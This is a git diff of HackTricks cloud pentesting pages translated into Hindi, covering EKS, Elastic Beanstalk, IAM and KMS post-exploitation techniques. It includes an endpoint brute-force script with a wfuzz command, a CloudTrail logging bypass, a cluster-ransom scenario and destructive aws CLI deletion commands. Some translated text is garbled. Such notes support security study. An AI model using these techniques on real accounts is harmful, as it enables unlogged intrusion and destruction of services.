/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
-kube config - +क्यूब कॉन्फ़िग ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### AWS से Kubernetes तक -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +**EKS क्लस्टर** का **निर्माता** **हमेशा** समूह के kubernetes क्लस्टर भाग **`system:masters`** (k8s admin) में प्रवेश प्राप्त कर सकेगा। इस लेख के समय पर **क्लस्टर को बनाने वाले** को **खोजने का कोई सीधा तरीका** नहीं है (आप CloudTrail की जांच कर सकते हैं)। और उस **अधिकार** को **हटाने** का **कोई तरीका** नहीं है। -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +**AWS IAM उपयोगकर्ताओं या भूमिकाओं** को K8s पर **अधिक पहुँच देने** का तरीका **configmap** **`aws-auth`** का उपयोग करना है। > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> इसलिए, config map **`aws-auth`** पर **लिखने की पहुँच** रखने वाला कोई भी व्यक्ति **पूरे क्लस्टर को समझौता** कर सकेगा। -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +**IAM भूमिकाओं और उपयोगकर्ताओं** को **एक ही या विभिन्न खाते** में **अतिरिक्त अधिकार** देने के तरीके और इसे **दुरुपयोग** करने के लिए [**privesc इस पृष्ठ की जांच करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)। -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +यहाँ पर भी[ **यह शानदार**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **पोस्ट देखें कि IAM -> Kubernetes प्रमाणीकरण कैसे काम करता है**। -### From Kubernetes to AWS +### Kubernetes से AWS तक -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +यह संभव है कि **kubernetes सेवा खाते** के लिए **OpenID प्रमाणीकरण** की अनुमति दी जाए ताकि वे AWS में भूमिकाएँ ग्रहण कर सकें। जानें कि [**यह इस पृष्ठ पर कैसे काम करता है**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)। -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### JWT टोकन से GET Api सर्वर एंडपॉइंट +JWT टोकन को डिकोड करने पर हमें क्लस्टर आईडी और क्षेत्र मिलता है। ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) यह जानकर कि EKS URL का मानक प्रारूप है ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +```markdown +'दो अक्षर' और 'संख्या' के लिए मानदंडों को समझाने वाली कोई दस्तावेज़ीकरण नहीं मिली। लेकिन अपनी ओर से कुछ परीक्षण करते समय मैंने इनमें से कुछ को बार-बार देखा: - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +वैसे भी, ये सिर्फ 3 अक्षर हैं, हम इन्हें ब्रूटफोर्स कर सकते हैं। सूची उत्पन्न करने के लिए नीचे दिए गए स्क्रिप्ट का उपयोग करें। +``` ```python from itertools import product from string import ascii_lowercase @@ -116,44 +109,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +फिर wfuzz के साथ ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> याद रखें कि & को बदलें। -### Bypass CloudTrail +### CloudTrail को बायपास करें -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +यदि एक हमलावर **EKS पर अनुमति** के साथ AWS के क्रेडेंशियल्स प्राप्त करता है। यदि हमलावर अपने **`kubeconfig`** को कॉन्फ़िगर करता है (बिना **`update-kubeconfig`** को कॉल किए) जैसा कि पहले समझाया गया है, तो **`get-token`** Cloudtrail में लॉग उत्पन्न नहीं करता है क्योंकि यह AWS API के साथ इंटरैक्ट नहीं करता (यह केवल स्थानीय रूप से टोकन बनाता है)। -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +तो जब हमलावर EKS क्लस्टर के साथ बात करता है, **cloudtrail उपयोगकर्ता के चोरी होने और इसे एक्सेस करने से संबंधित कुछ भी लॉग नहीं करेगा**। -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +ध्यान दें कि **EKS क्लस्टर में लॉग सक्षम हो सकते हैं** जो इस एक्सेस को लॉग करेंगे (हालांकि, डिफ़ॉल्ट रूप से, वे अक्षम होते हैं)। -### EKS Ransom? +### EKS फिरौती? -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +डिफ़ॉल्ट रूप से, **उपयोगकर्ता या भूमिका जिसने** एक क्लस्टर बनाया है, **हमेशा क्लस्टर पर प्रशासनिक विशेषाधिकार** रखने वाला होगा। और यही एकमात्र "सुरक्षित" एक्सेस है जो AWS Kubernetes क्लस्टर पर होगा। -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +तो, यदि एक **हमलावर फर्गेट का उपयोग करके एक क्लस्टर से समझौता करता है** और **सभी अन्य प्रशासकों को हटा देता है** और **क्लस्टर बनाने वाले AWS उपयोगकर्ता/भूमिका को हटा देता है**, ~~हमलावर ने **क्लस्टर को फिरौती**~~** ली हो सकती है**। > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> ध्यान दें कि यदि क्लस्टर **EC2 VMs** का उपयोग कर रहा था, तो **नोड** से प्रशासनिक विशेषाधिकार प्राप्त करना संभव हो सकता है और क्लस्टर को पुनर्प्राप्त करना। > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> वास्तव में, यदि क्लस्टर फर्गेट का उपयोग कर रहा है तो आप EC2 नोड्स को क्लस्टर में ले जा सकते हैं या सब कुछ EC2 में स्थानांतरित कर सकते हैं और नोड में टोकन को एक्सेस करके इसे पुनर्प्राप्त कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..2dfbed4a3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -For more information: +अधिक जानकारी के लिए: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: यह परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है +एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplicationVersion` है, **एक मौजूदा एप्लिकेशन संस्करण को हटा सकता है**। यह क्रिया एप्लिकेशन डिप्लॉयमेंट पाइपलाइनों को बाधित कर सकती है या यदि बैकअप नहीं है तो विशिष्ट एप्लिकेशन संस्करणों के नुकसान का कारण बन सकती है। ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**संभावित प्रभाव**: अनुप्रयोग तैनाती में बाधा और अनुप्रयोग संस्करणों का संभावित नुकसान। ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है +एक हमलावर जिसके पास अनुमति `elasticbeanstalk:TerminateEnvironment` है, **एक मौजूदा Elastic Beanstalk वातावरण को समाप्त कर सकता है**, जिससे अनुप्रयोग के लिए डाउनटाइम और यदि वातावरण बैकअप के लिए कॉन्फ़िगर नहीं किया गया है तो संभावित डेटा हानि हो सकती है। ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**संभावित प्रभाव**: अनुप्रयोग का डाउनटाइम, संभावित डेटा हानि, और सेवाओं में व्यवधान। ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है +एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplication` है, वह **एक संपूर्ण Elastic Beanstalk अनुप्रयोग को हटा सकता है**, जिसमें इसके सभी संस्करण और वातावरण शामिल हैं। यदि बैकअप नहीं लिया गया है, तो यह कार्रवाई अनुप्रयोग संसाधनों और कॉन्फ़िगरेशन की महत्वपूर्ण हानि का कारण बन सकती है। ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**संभावित प्रभाव**: एप्लिकेशन संसाधनों, कॉन्फ़िगरेशन, वातावरण और एप्लिकेशन संस्करणों का नुकसान, सेवा में बाधा और संभावित डेटा हानि का कारण बनता है। ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है +`elasticbeanstalk:SwapEnvironmentCNAMEs` अनुमति के साथ एक हमलावर **दो Elastic Beanstalk वातावरणों के CNAME रिकॉर्ड को स्वैप कर सकता है**, जिससे उपयोगकर्ताओं को एप्लिकेशन का गलत संस्करण प्रदान किया जा सकता है या अनपेक्षित व्यवहार हो सकता है। ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**संभावित प्रभाव**: उपयोगकर्ताओं को अनुप्रयोग का गलत संस्करण प्रदान करना या स्वैप किए गए वातावरण के कारण अनुप्रयोग में अनपेक्षित व्यवहार उत्पन्न करना। ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है +`elasticbeanstalk:AddTags` और `elasticbeanstalk:RemoveTags` अनुमतियों के साथ एक हमलावर **Elastic Beanstalk संसाधनों पर टैग जोड़ या हटा सकता है**। यह क्रिया गलत संसाधन आवंटन, बिलिंग, या संसाधन प्रबंधन का कारण बन सकती है। ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**संभावित प्रभाव**: जोड़े गए या हटाए गए टैग के कारण गलत संसाधन आवंटन, बिलिंग, या संसाधन प्रबंधन। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..c7ffc9f34 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,7 +4,7 @@ ## IAM -For more information about IAM access: +IAM एक्सेस के बारे में अधिक जानकारी के लिए: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,96 +12,82 @@ For more information about IAM access: ## Confused Deputy Problem -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +यदि आप **एक बाहरी खाता (A)** को अपने खाते में **भूमिका** तक पहुँचने की अनुमति देते हैं, तो आपके पास **यह जानने की कोई दृश्यता नहीं होगी** कि **कौन वास्तव में उस बाहरी खाते तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि एक और बाहरी खाता (B) बाहरी खाते (A) तक पहुँच सकता है, तो यह संभव है कि **B भी आपके खाते तक पहुँच सके**। -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +इसलिए, जब आप एक बाहरी खाते को अपने खाते में एक भूमिका तक पहुँचने की अनुमति देते हैं, तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "गुप्त" स्ट्रिंग है जिसे बाहरी खाते (A) को **आपके संगठन में भूमिका ग्रहण करने के लिए निर्दिष्ट करना आवश्यक है**। चूंकि **बाहरी खाता B इस स्ट्रिंग को नहीं जानता**, भले ही उसके पास A पर पहुँच हो, वह **आपकी भूमिका तक पहुँच नहीं सकेगा**।
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +हालांकि, ध्यान दें कि यह `ExternalId` "गुप्त" **गुप्त नहीं है**, कोई भी जो **IAM भूमिका ग्रहण नीति को पढ़ सकता है, उसे देख सकेगा**। लेकिन जब तक बाहरी खाता A इसे जानता है, लेकिन बाहरी खाता **B इसे नहीं जानता**, यह **B को A का दुरुपयोग करके आपकी भूमिका तक पहुँचने से रोकता है**। +उदाहरण: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> एक हमलावर को एक भ्रमित डिप्टी का लाभ उठाने के लिए यह पता लगाना होगा कि क्या वर्तमान खाते के प्रिंसिपल अन्य खातों में भूमिकाओं का अनुकरण कर सकते हैं। -### Unexpected Trusts - -#### Wildcard as principal +### अप्रत्याशित ट्रस्ट +#### प्रिंसिपल के रूप में वाइल्डकार्ड ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +यह नीति **सभी AWS** को भूमिका ग्रहण करने की अनुमति देती है। -This policy **allows all AWS** to assume the role. - -#### Service as principal - +#### सेवा के रूप में प्रमुख ```json { - "Action": "lambda:InvokeFunction", - "Effect": "Allow", - "Principal": { "Service": "apigateway.amazonaws.com" }, - "Resource": "arn:aws:lambda:000000000000:function:foo" +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" } ``` +यह नीति **किसी भी खाते** को अपने apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर करने की अनुमति देती है। -This policy **allows any account** to configure their apigateway to call this Lambda. - -#### S3 as principal - +#### S3 को प्रमुख के रूप में ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, - "StringEquals": { - "aws:SourceAccount": "123456789012" - } +"StringEquals": { +"aws:SourceAccount": "123456789012" +} } ``` +यदि S3 बकेट को एक प्रिंसिपल के रूप में दिया गया है, क्योंकि S3 बकेट का कोई खाता आईडी नहीं होता है, यदि आपने **अपना बकेट हटा दिया और हमलावर ने** इसे अपने खाते में बनाया, तो वे इसका दुरुपयोग कर सकते हैं। -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this. - -#### Not supported - +#### समर्थित नहीं ```json { - "Effect": "Allow", - "Principal": { "Service": "cloudtrail.amazonaws.com" }, - "Action": "s3:PutObject", - "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` - -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). +एक सामान्य तरीका Confused Deputy समस्याओं से बचने का `AWS:SourceArn` के साथ एक शर्त का उपयोग करना है ताकि मूल ARN की जांच की जा सके। हालाँकि, **कुछ सेवाएँ इसका समर्थन नहीं कर सकती हैं** (कुछ स्रोतों के अनुसार CloudTrail की तरह)। ## References - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 482af5425..012faa527 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,104 +1,98 @@ -# AWS - KMS Post Exploitation +# AWS - KMS पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} ## KMS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### जानकारी एन्क्रिप्ट/डिक्रिप्ट करें -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` और `file://` URI स्कीम हैं जो AWS CLI कमांड में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग की जाती हैं: -- `fileb://:` Reads the file in binary mode, commonly used for non-text files. -- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements. +- `fileb://:` फ़ाइल को बाइनरी मोड में पढ़ता है, जो आमतौर पर गैर-टेक्स्ट फ़ाइलों के लिए उपयोग किया जाता है। +- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, जो आमतौर पर साधारण टेक्स्ट फ़ाइलों, स्क्रिप्टों, या JSON के लिए उपयोग किया जाता है जिसमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होती हैं। > [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key +> ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को डिक्रिप्ट करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, न कि बेस64 एन्कोडेड डेटा। (fileb://) +- एक **संपूर्ण** कुंजी का उपयोग करना ```bash # Encrypt data aws kms encrypt \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ - 